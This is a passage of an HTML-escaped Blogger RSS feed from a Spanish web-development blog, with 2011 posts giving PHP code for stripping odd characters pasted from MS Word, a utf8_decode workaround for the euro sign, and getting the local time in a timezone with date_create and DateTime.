#007700"&gt;(&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$string&lt;/span&gt;&lt;span style="color: #007700"&gt;){&lt;br /&gt;&lt;b style='color:#888!important;'&gt;3&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #FF8000"&gt;//&amp;nbsp;these&amp;nbsp;odd&amp;nbsp;characters&amp;nbsp;appears&amp;nbsp;usually&amp;nbsp;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;4&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;when&amp;nbsp;someone&amp;nbsp;copy&amp;amp;paste&amp;nbsp;from&amp;nbsp;MSword&amp;nbsp;to&amp;nbsp;an&amp;nbsp;HTML&amp;nbsp;form&lt;br /&gt;&lt;b style='color:#888!important;'&gt;5&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$string&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700"&gt;=&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;str_replace&lt;/span&gt;&lt;span style="color: #007700"&gt;(&lt;/span&gt;&lt;span style="color: #DD0000"&gt;"\n"&lt;/span&gt;&lt;span style="color: #007700"&gt;,&lt;/span&gt;&lt;span style="color: #DD0000"&gt;"[NEWLINE]"&lt;/span&gt;&lt;span style="color: #007700"&gt;,&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$string&lt;/span&gt;&lt;span style="color: #007700"&gt;);&lt;br /&gt;&lt;b style='color:#888!important;'&gt;6&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$string&lt;/span&gt;&lt;span style="color: #007700"&gt;=&lt;/span&gt;&lt;span style="color: #0000BB"&gt;htmlentities&lt;/span&gt;&lt;span style="color: #007700"&gt;(&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$string&lt;/span&gt;&lt;span style="color: #007700"&gt;);&lt;br /&gt;&lt;b style='color:#888!important;'&gt;7&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$string&lt;/span&gt;&lt;span style="color: #007700"&gt;=&lt;/span&gt;&lt;span style="color: #0000BB"&gt;preg_replace&lt;/span&gt;&lt;span style="color: #007700"&gt;(&lt;/span&gt;&lt;span style="color: #DD0000"&gt;'/[^(\x20-\x7F)]*/'&lt;/span&gt;&lt;span style="color: #007700"&gt;,&lt;/span&gt;&lt;span style="color: #DD0000"&gt;''&lt;/span&gt;&lt;span style="color: #007700"&gt;,&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$string&lt;/span&gt;&lt;span style="color: #007700"&gt;);&lt;br /&gt;&lt;b style='color:#888!important;'&gt;8&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$string&lt;/span&gt;&lt;span style="color: #007700"&gt;=&lt;/span&gt;&lt;span style="color: #0000BB"&gt;html_entity_decode&lt;/span&gt;&lt;span style="color: #007700"&gt;(&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$string&lt;/span&gt;&lt;span style="color: #007700"&gt;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;9&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$string&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700"&gt;=&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;str_replace&lt;/span&gt;&lt;span style="color: #007700"&gt;(&lt;/span&gt;&lt;span style="color: #DD0000"&gt;"[NEWLINE]"&lt;/span&gt;&lt;span style="color: #007700"&gt;,&lt;/span&gt;&lt;span style="color: #DD0000"&gt;"\n"&lt;/span&gt;&lt;span style="color: #007700"&gt;,&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$string&lt;/span&gt;&lt;span style="color: #007700"&gt;);&lt;br /&gt;&lt;b style='color:#888!important;'&gt;10&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$string&lt;/span&gt;&lt;span style="color: #007700"&gt;;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;11&lt;/b&gt;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&lt;b style='color:#888!important;'&gt;12&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;?&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Unos pocos comentarios:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;he mezclado lo mejorcito que he encontrado por ahí que no era mucho, pues al final he tenido que poner de mi parte ;)&lt;/li&gt;&lt;li&gt;lo del NEWLINE es para evitar que el &lt;span style="font-weight: bold;"&gt;preg_replace&lt;/span&gt; elimine los posibles cambios de línea&lt;/li&gt;&lt;li&gt;lo de los htmlentities es para evitar que se el &lt;span style="font-weight: bold;"&gt;preg_replace&lt;/span&gt; elimine las posibles vocales acentuadas y otros carácteres latinos!&lt;/li&gt;&lt;li&gt;efectivamente, el mérito de la limpieza se lo lleva la función &lt;span style="font-weight: bold;"&gt;preg_replace&lt;/span&gt;, habiendo protegido previamente las vocales acentuadas y los cambios de línea&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Por favor, si no te ha servido y has podido "modificarla" para hacerla funcionar en tu caso, se agradecería que escribieras los detalles. ¿Te puedes creer que dónde he leído la mayor parte de esa función ha sido en un artículo que se escribió hace dos años y medio y aún la gente sigue aportando mejoras y comentarios?... qué alegría me da eso :)&lt;br /&gt;&lt;br /&gt;Este era el enlace original, en dónde aporté mis cambios:&lt;br /&gt;&lt;a target="_blank" href="http://www.stemkoski.com/php-remove-non-ascii-characters-from-a-string"&gt;http://www.stemkoski.com/php-remove-non-ascii-characters-from-a-string&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Actualización 27-Junio-2011&lt;/h3&gt;&lt;br /&gt;Acabo de descubrir que la función de arriba tiene problemas con el símbolo euro!! (€). Después de investigar, descubro que este símbolo no está en el charset latino habitual &lt;b&gt;ISO-8859-1&lt;/b&gt; y que por tanto la función nativa de PHP &lt;b&gt;utf8_decode("€")&lt;/b&gt; devuelve "?" !!!! :(&lt;br /&gt;&lt;br /&gt;Esto provoca que si el charset de tu web no es utf-8 entonces los simbolos de euro se te convierten en un interrogante si les aplicas utf8_decode() para guardarlo en tu base de datos! por si no lo sabías... Pero en fin, normalmente no deberías hacer esas cosas. Es decir, tener la base de datos y al web en dos charsets diferentes!&lt;br /&gt;&lt;br /&gt;Bueno, en paralelo, si aplicamos la función &lt;b&gt;f_remove_odd_characters($string)&lt;/b&gt; sobre el simbolo de euro, éste SIMPLEMENTE desaparece :( es decir, lo convierte a ''. De lo cuál me di cuenta cuando me fueron despareciendo los simbolos de euro que mis usuarios introducían en los formularios :(((&lt;br /&gt;&lt;br /&gt;Conclusión, dejo pendiente este asunto de la eliminación de caracteres. He encontrado por internet una función que sustituye a utf8_decode() de manera que "evita" el problema del euro... por si a alguno le sirve, y también quiero ver si con ello también se eliminan otros caracteres raros como los que pretendía limpiar al inicio. &lt;br /&gt;&lt;br /&gt;Es una lástima que no tenga ya "guardados" en mi base de datos esos carácteres raros para poder probar si efectivamente se pueden limpiar con la siguiente función, pero en fin, si alguien puede hacerlo, se lo agradeceré enormemente si comparte aquí el resultado ;)&lt;br /&gt;&lt;br /&gt;&lt;div style='background-color:#eee;border:1px #aaa solid;padding:9px;margin:9px;'&gt;&lt;code&gt;&lt;b style='color:#888!important;'&gt;1&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;span style="color: #000000"&gt;&lt;span style="color: #0000BB"&gt;&amp;lt;?php&lt;br /&gt;&lt;b style='color:#888!important;'&gt;2&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;3&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700"&gt;function&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;_utf8_decode&lt;/span&gt;&lt;span style="color: #007700"&gt;(&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$string&lt;/span&gt;&lt;span style="color: #007700"&gt;){&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;4&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;5&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #FF8000"&gt;/*&amp;nbsp;Only&amp;nbsp;do&amp;nbsp;the&amp;nbsp;slow&amp;nbsp;convert&amp;nbsp;if&amp;nbsp;there&amp;nbsp;are&amp;nbsp;8-bit&amp;nbsp;characters&amp;nbsp;*/&lt;br /&gt;&lt;b style='color:#888!important;'&gt;6&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/*&amp;nbsp;avoid&amp;nbsp;using&amp;nbsp;0xA0&amp;nbsp;(\240)&amp;nbsp;in&amp;nbsp;ereg&amp;nbsp;ranges.&amp;nbsp;RH73&amp;nbsp;does&amp;nbsp;not&amp;nbsp;like&amp;nbsp;that&amp;nbsp;*/&lt;br /&gt;&lt;b style='color:#888!important;'&gt;7&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700"&gt;if&amp;nbsp;(!&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;ereg&lt;/span&gt;&lt;span style="color: #007700"&gt;(&lt;/span&gt;&lt;span style="color: #DD0000"&gt;"[\200-\237]"&lt;/span&gt;&lt;span style="color: #007700"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$string&lt;/span&gt;&lt;span style="color: #007700"&gt;)&amp;nbsp;and&amp;nbsp;!&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;ereg&lt;/span&gt;&lt;span style="color: #007700"&gt;(&lt;/span&gt;&lt;span style="color: #DD0000"&gt;"[\241-\377]"&lt;/span&gt;&lt;span style="color: #007700"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$string&lt;/span&gt;&lt;span style="color: #007700"&gt;))&lt;br /&gt;&lt;b style='color:#888!important;'&gt;8&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$string&lt;/span&gt;&lt;span style="color: #007700"&gt;;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;9&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;10&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #FF8000"&gt;//&amp;nbsp;decode&amp;nbsp;three&amp;nbsp;byte&amp;nbsp;unicode&amp;nbsp;characters&lt;br /&gt;&lt;b style='color:#888!important;'&gt;11&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$string&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700"&gt;=&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;preg_replace&lt;/span&gt;&lt;span style="color: #007700"&gt;(&lt;/span&gt;&lt;span style="color: #DD0000"&gt;"/([\340-\357])([\200-\277])([\200-\277])/e"&lt;/span&gt;&lt;span style="color: #007700"&gt;,&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;12&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #DD0000"&gt;"'&amp;amp;#'.((ord('\\1')-224)*4096&amp;nbsp;+&amp;nbsp;(ord('\\2')-128)*64&amp;nbsp;+&amp;nbsp;(ord('\\3')-128)).';'"&lt;/span&gt;&lt;span style="color: #007700"&gt;,&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;13&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$string&lt;/span&gt;&lt;span style="color: #007700"&gt;);&lt;br /&gt;&lt;b style='color:#888!important;'&gt;14&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;15&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #FF8000"&gt;//&amp;nbsp;decode&amp;nbsp;two&amp;nbsp;byte&amp;nbsp;unicode&amp;nbsp;characters&lt;br /&gt;&lt;b style='color:#888!important;'&gt;16&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$string&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700"&gt;=&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;preg_replace&lt;/span&gt;&lt;span style="color: #007700"&gt;(&lt;/span&gt;&lt;span style="color: #DD0000"&gt;"/([\300-\337])([\200-\277])/e"&lt;/span&gt;&lt;span style="color: #007700"&gt;,&lt;br /&gt;&lt;b style='color:#888!important;'&gt;17&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #DD0000"&gt;"'&amp;amp;#'.((ord('\\1')-192)*64+(ord('\\2')-128)).';'"&lt;/span&gt;&lt;span style="color: #007700"&gt;,&lt;br /&gt;&lt;b style='color:#888!important;'&gt;18&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$string&lt;/span&gt;&lt;span style="color: #007700"&gt;);&lt;br /&gt;&lt;b style='color:#888!important;'&gt;19&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;20&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$string&lt;/span&gt;&lt;span style="color: #007700"&gt;;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;21&lt;/b&gt;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;22&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;23&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;?&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;</description><link>http://crear-paginas-web.blogspot.com/2011/06/eliminar-caracteres-raros-o-binarios-de.html</link><author>noreply@blogger.com (Usher web)</author><thr:total>1</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-4714735783718459057.post-5895090323265621862</guid><pubDate>Tue, 26 Apr 2011 19:56:00 +0000</pubDate><atom:updated>2011-04-26T17:48:37.409-07:00</atom:updated><title>Hora actual en cierto TimeZone con PHP5 usando date_create()</title><description>Tal vez te haya tocado pelearte con el tema de las zonas horarias... y sabrás que es un auténtico embrollo. Después de haber probado varios métodos, finalmente hallé para mis aplicaciones una manera bien sencilla, que aprovecho para compartir aquí.&lt;br /&gt;&lt;br /&gt;El problema se trata de lo siguiente: necesito saber la hora actual en cierta zona horaria, teniendo en cuenta obviamente los cambios de hora para verano.&lt;br /&gt;&lt;br /&gt;La solución:&lt;br /&gt;&lt;br /&gt;&lt;div style='background-color:#eee;border:1px #aaa solid;padding:9px;margin:9px;'&gt;&lt;code&gt;&lt;b style='color:#888!important;'&gt;1&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;span style="color: #000000"&gt;&lt;span style="color: #0000BB"&gt;&amp;lt;?php&lt;br /&gt;&lt;b style='color:#888!important;'&gt;2&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;3&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$timeZone&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700"&gt;=&amp;nbsp;&lt;/span&gt;&lt;span style="color: #DD0000"&gt;"America/Hermosillo"&lt;/span&gt;&lt;span style="color: #007700"&gt;;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;4&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$o_date&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700"&gt;=&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;date_create&lt;/span&gt;&lt;span style="color: #007700"&gt;(&lt;/span&gt;&lt;span style="color: #0000BB"&gt;null&lt;/span&gt;&lt;span style="color: #007700"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;timezone_open&lt;/span&gt;&lt;span style="color: #007700"&gt;(&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$timeZone&lt;/span&gt;&lt;span style="color: #007700"&gt;));&lt;br /&gt;&lt;b style='color:#888!important;'&gt;5&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$local_time&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700"&gt;=&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;date_format&lt;/span&gt;&lt;span style="color: #007700"&gt;(&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$o_date&lt;/span&gt;&lt;span style="color: #007700"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color: #DD0000"&gt;'d/m/Y&amp;nbsp;H:i'&lt;/span&gt;&lt;span style="color: #007700"&gt;);&lt;br /&gt;&lt;b style='color:#888!important;'&gt;6&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;7&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo&amp;nbsp;&lt;/span&gt;&lt;span style="color: #DD0000"&gt;"Time&amp;nbsp;at&amp;nbsp;"&lt;/span&gt;&lt;span style="color: #007700"&gt;.&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$timeZone&lt;/span&gt;&lt;span style="color: #007700"&gt;.&lt;/span&gt;&lt;span style="color: #DD0000"&gt;":&amp;nbsp;"&lt;/span&gt;&lt;span style="color: #007700"&gt;.&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$local_time&lt;/span&gt;&lt;span style="color: #007700"&gt;;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;8&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;9&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #FF8000"&gt;//&amp;nbsp;will&amp;nbsp;produce&amp;nbsp;something&amp;nbsp;like&amp;nbsp;this&lt;br /&gt;&lt;b style='color:#888!important;'&gt;10&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&lt;br /&gt;&lt;b style='color:#888!important;'&gt;11&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;Time&amp;nbsp;at&amp;nbsp;America/Hermosillo:&amp;nbsp;26/04/2011&amp;nbsp;13:32&amp;nbsp;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;12&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;13&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;?&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Si en nuestro servidor poseemos una versión de PHP &gt;= 5.3 podemos trabajar con una variante de lo anterior en la que usamos la función &lt;b&gt;date_create_from_format()&lt;/b&gt; para crear el objeto de fecha &lt;b&gt;$o_date&lt;/b&gt; a partir de cualquier fecha y hora en cualquier formato!!!&lt;br /&gt;&lt;br /&gt;&lt;div style='background-color:#eee;border:1px #aaa solid;padding:9px;margin:9px;'&gt;&lt;code&gt;&lt;b style='color:#888!important;'&gt;1&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;span style="color: #000000"&gt;&lt;span style="color: #0000BB"&gt;&amp;lt;?php&lt;br /&gt;&lt;b style='color:#888!important;'&gt;2&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;3&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$timeZone&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700"&gt;=&amp;nbsp;&lt;/span&gt;&lt;span style="color: #DD0000"&gt;"America/Hermosillo"&lt;/span&gt;&lt;span style="color: #007700"&gt;;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;4&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$o_date&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700"&gt;=&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;date_create_from_format&lt;/span&gt;&lt;span style="color: #007700"&gt;(&lt;/span&gt;&lt;span style="color: #DD0000"&gt;'Y-m-d&amp;nbsp;H:i'&lt;/span&gt;&lt;span style="color: #007700"&gt;,&lt;/span&gt;&lt;span style="color: #DD0000"&gt;'2011-04-26&amp;nbsp;00:00'&lt;/span&gt;&lt;span style="color: #007700"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;timezone_open&lt;/span&gt;&lt;span style="color: #007700"&gt;(&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$timeZone&lt;/span&gt;&lt;span style="color: #007700"&gt;));&lt;br /&gt;&lt;b style='color:#888!important;'&gt;5&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$local_time&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700"&gt;=&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;date_format&lt;/span&gt;&lt;span style="color: #007700"&gt;(&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$o_date&lt;/span&gt;&lt;span style="color: #007700"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color: #DD0000"&gt;'d/m/Y&amp;nbsp;H:i'&lt;/span&gt;&lt;span style="color: #007700"&gt;);&lt;br /&gt;&lt;b style='color:#888!important;'&gt;6&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;7&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo&amp;nbsp;&lt;/span&gt;&lt;span style="color: #DD0000"&gt;"Time&amp;nbsp;at&amp;nbsp;"&lt;/span&gt;&lt;span style="color: #007700"&gt;.&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$timeZone&lt;/span&gt;&lt;span style="color: #007700"&gt;.&lt;/span&gt;&lt;span style="color: #DD0000"&gt;":&amp;nbsp;"&lt;/span&gt;&lt;span style="color: #007700"&gt;.&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$local_time&lt;/span&gt;&lt;span style="color: #007700"&gt;;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;8&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;9&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #FF8000"&gt;//&amp;nbsp;will&amp;nbsp;produce&amp;nbsp;something&amp;nbsp;like&amp;nbsp;this&lt;br /&gt;&lt;b style='color:#888!important;'&gt;10&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&lt;br /&gt;&lt;b style='color:#888!important;'&gt;11&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;Time&amp;nbsp;at&amp;nbsp;America/Hermosillo:&amp;nbsp;25/04/2011&amp;nbsp;15:00&amp;nbsp;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;12&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;13&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;?&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;El inconveniente a día de hoy (Abril 2011) es que pocos servidores han actualizado aún a esa versión (el mío no, por ejemplo). En ese caso, este otro código que trabaja con objetos DateTime en lugar de con funciones, no es mucho más complicado pero nos aporta una nueva ventaja: podemos usar como "hora" a traducir cualquiera que esté en el formato &lt;b&gt;Y-m-d H:i&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style='background-color:#eee;border:1px #aaa solid;padding:9px;margin:9px;'&gt;&lt;code&gt;&lt;b style='color:#888!important;'&gt;1&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;span style="color: #000000"&gt;&lt;span style="color: #0000BB"&gt;&amp;lt;?php&lt;br /&gt;&lt;b style='color:#888!important;'&gt;2&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;3&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$timeZone&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700"&gt;=&amp;nbsp;&lt;/span&gt;&lt;span 